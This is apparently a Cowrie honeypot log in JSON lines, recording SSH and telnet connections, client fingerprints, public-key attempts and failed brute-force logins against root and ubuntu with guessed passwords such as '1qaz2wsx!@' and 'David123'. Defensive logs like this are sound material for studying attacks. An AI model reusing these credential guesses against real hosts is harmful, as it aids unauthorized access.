{"eventid":"cowrie.login.failed","username":"root","password":"11111","message":"login attempt [root/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:39.715518Z","src_ip":"45.117.179.232","session":"763bf3cd5470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:40.969165Z","src_ip":"45.117.179.232","session":"763bf3cd5470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47728,"dst_ip":"10.17.0.5","dst_port":22,"session":"402096d8dc4a","protocol":"ssh","message":"New connection: 193.32.162.145:47728 (10.17.0.5:22) [session: 402096d8dc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:44.474367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:44.479820Z","src_ip":"193.32.162.145","session":"402096d8dc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:44.585070Z","src_ip":"193.32.162.145","session":"402096d8dc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raydium","message":"login attempt [ubuntu/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:45.217685Z","src_ip":"193.32.162.145","session":"402096d8dc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:46.333719Z","src_ip":"193.32.162.145","session":"402096d8dc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38080,"dst_ip":"10.17.0.5","dst_port":23,"session":"2607ce6feef1","protocol":"telnet","message":"New connection: 152.42.224.71:38080 (10.17.0.5:23) [session: 2607ce6feef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:50.058181Z"}
{"eventid":"cowrie.session.closed","duration":5.611597537994385,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:55.669661Z","src_ip":"152.42.224.71","session":"2607ce6feef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40036,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f41776915b2","protocol":"telnet","message":"New connection: 152.42.224.71:40036 (10.17.0.5:23) [session: 0f41776915b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:00.971375Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40030,"dst_ip":"10.17.0.5","dst_port":23,"session":"22329938eb5c","protocol":"telnet","message":"New connection: 152.42.224.71:40030 (10.17.0.5:23) [session: 22329938eb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:01.684007Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":43400,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a1e364e701","protocol":"ssh","message":"New connection: 185.242.234.173:43400 (10.17.0.5:22) [session: f7a1e364e701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:02.112522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:02.118202Z","src_ip":"185.242.234.173","session":"f7a1e364e701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:03.642490Z","src_ip":"185.242.234.173","session":"f7a1e364e701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@","message":"login attempt [root/1qaz2wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:04.270941Z","src_ip":"185.242.234.173","session":"f7a1e364e701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":38038,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a9489de0d5e","protocol":"ssh","message":"New connection: 94.159.110.201:38038 (10.17.0.5:22) [session: 2a9489de0d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:04.982841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:04.989903Z","src_ip":"94.159.110.201","session":"2a9489de0d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"7456a48657d2","protocol":"telnet","message":"New connection: 152.42.224.71:40050 (10.17.0.5:23) [session: 7456a48657d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:05.097143Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:05.111500Z","src_ip":"94.159.110.201","session":"2a9489de0d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:05.483768Z","src_ip":"185.242.234.173","session":"f7a1e364e701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aspirine","message":"login attempt [root/aspirine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:05.813258Z","src_ip":"94.159.110.201","session":"2a9489de0d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:06.935750Z","src_ip":"94.159.110.201","session":"2a9489de0d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db172c98d1f","protocol":"telnet","message":"New connection: 152.42.224.71:60924 (10.17.0.5:23) [session: 8db172c98d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:08.023217Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60930,"dst_ip":"10.17.0.5","dst_port":23,"session":"d951c392ded1","protocol":"telnet","message":"New connection: 152.42.224.71:60930 (10.17.0.5:23) [session: d951c392ded1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:12.529226Z"}
{"eventid":"cowrie.session.closed","duration":54.182448863983154,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:13.115211Z","src_ip":"152.42.224.71","session":"00e29f2878eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.490169048309326,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:17.587211Z","src_ip":"152.42.224.71","session":"7456a48657d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":37004,"dst_ip":"10.17.0.5","dst_port":22,"session":"30fc18e54145","protocol":"ssh","message":"New connection: 103.183.114.55:37004 (10.17.0.5:22) [session: 30fc18e54145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:18.194723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:18.199503Z","src_ip":"103.183.114.55","session":"30fc18e54145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:18.424637Z","src_ip":"103.183.114.55","session":"30fc18e54145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"i","message":"login attempt [root/i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:19.099843Z","src_ip":"103.183.114.55","session":"30fc18e54145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:20.328208Z","src_ip":"103.183.114.55","session":"30fc18e54145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162839889526,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:20.910077Z","src_ip":"152.42.224.71","session":"1a2a3dfeea66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":39222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86ae68dc551","protocol":"ssh","message":"New connection: 49.51.200.156:39222 (10.17.0.5:22) [session: e86ae68dc551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:27.227874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:27.235909Z","src_ip":"49.51.200.156","session":"e86ae68dc551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:27.304356Z","src_ip":"49.51.200.156","session":"e86ae68dc551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"David123","message":"login attempt [root/David123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:27.608463Z","src_ip":"49.51.200.156","session":"e86ae68dc551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:28.680500Z","src_ip":"49.51.200.156","session":"e86ae68dc551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.164.204","src_port":42604,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec8ac2f4bfea","protocol":"ssh","message":"New connection: 107.6.164.204:42604 (10.17.0.5:22) [session: ec8ac2f4bfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:34.883202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:34.888412Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:34.977187Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:7c:9b:be:25:f2:78:a4:24:a9:8e:c8:b4:df:52:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqgim0vMmAWpcCa3y2HsLn64o5YP9pSgOK5/QinoV975XdYMt3wBGEy/nG3lrywepTIOCKBU1z6WQgcQjz/Ypl5qd7mV2s4s5ayHlFH2k7QymywoR2/NvSCLlNBulOWdrGv61vuywkVKmiMsifiHW0LrdFjPB8Rmlq1AlxYna0kwhf9wSUNNcMwhzIrGut6Np/5+THSY5kSMa3ugzzHktRjH4WMgSkl/5GAEr1Hfy821O6N+YJ3cBZf2z8OYwZ1ATppLbBA4oTSh3CrRmg0kdmo4ayA+e4enbBxrxScckDV/bXtrL3Z8v7VWG0DBIWbNnZBmBcnu6uvvZV1Z5MlgDZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:7c:9b:be:25:f2:78:a4:24:a9:8e:c8:b4:df:52:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.395186Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:7c:9b:be:25:f2:78:a4:24:a9:8e:c8:b4:df:52:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqgim0vMmAWpcCa3y2HsLn64o5YP9pSgOK5/QinoV975XdYMt3wBGEy/nG3lrywepTIOCKBU1z6WQgcQjz/Ypl5qd7mV2s4s5ayHlFH2k7QymywoR2/NvSCLlNBulOWdrGv61vuywkVKmiMsifiHW0LrdFjPB8Rmlq1AlxYna0kwhf9wSUNNcMwhzIrGut6Np/5+THSY5kSMa3ugzzHktRjH4WMgSkl/5GAEr1Hfy821O6N+YJ3cBZf2z8OYwZ1ATppLbBA4oTSh3CrRmg0kdmo4ayA+e4enbBxrxScckDV/bXtrL3Z8v7VWG0DBIWbNnZBmBcnu6uvvZV1Z5MlgDZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.399048Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:f5:7a:9c:26:df:f0:5f:9e:2b:0c:8a:e8:53:31:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKdKxV9Giwqua6L2hwgwrnmStkSIYFZqSiyihghbu7CmYwJ9hOInA8Fv3+O3xA0lORJeng0bnCb5VNvmueG42vuhfqUynu+PArNgI0TmrYvZEONJiyea3klfErc2PhrHNmToshNWRmjWDEW9GqnC2O4L2RWVM2ecwMvXz7WHveZro2ujM8ADpAsGu2J7oS+8tPisMo0y+B2g/PXsDHBtITD8cU69VwFLY1XAfJ7LPiZgkEOizRqi6UxMIffIwCGR1RdCQ7QLpHtdFJpBLZSGDoYi5JbQJbOFWjNxdMvP2Bh3wDuXEIt5gPdqG+Lujjxe4tKH9QIR4BLn79hlBgOZAT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:f5:7a:9c:26:df:f0:5f:9e:2b:0c:8a:e8:53:31:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.489638Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
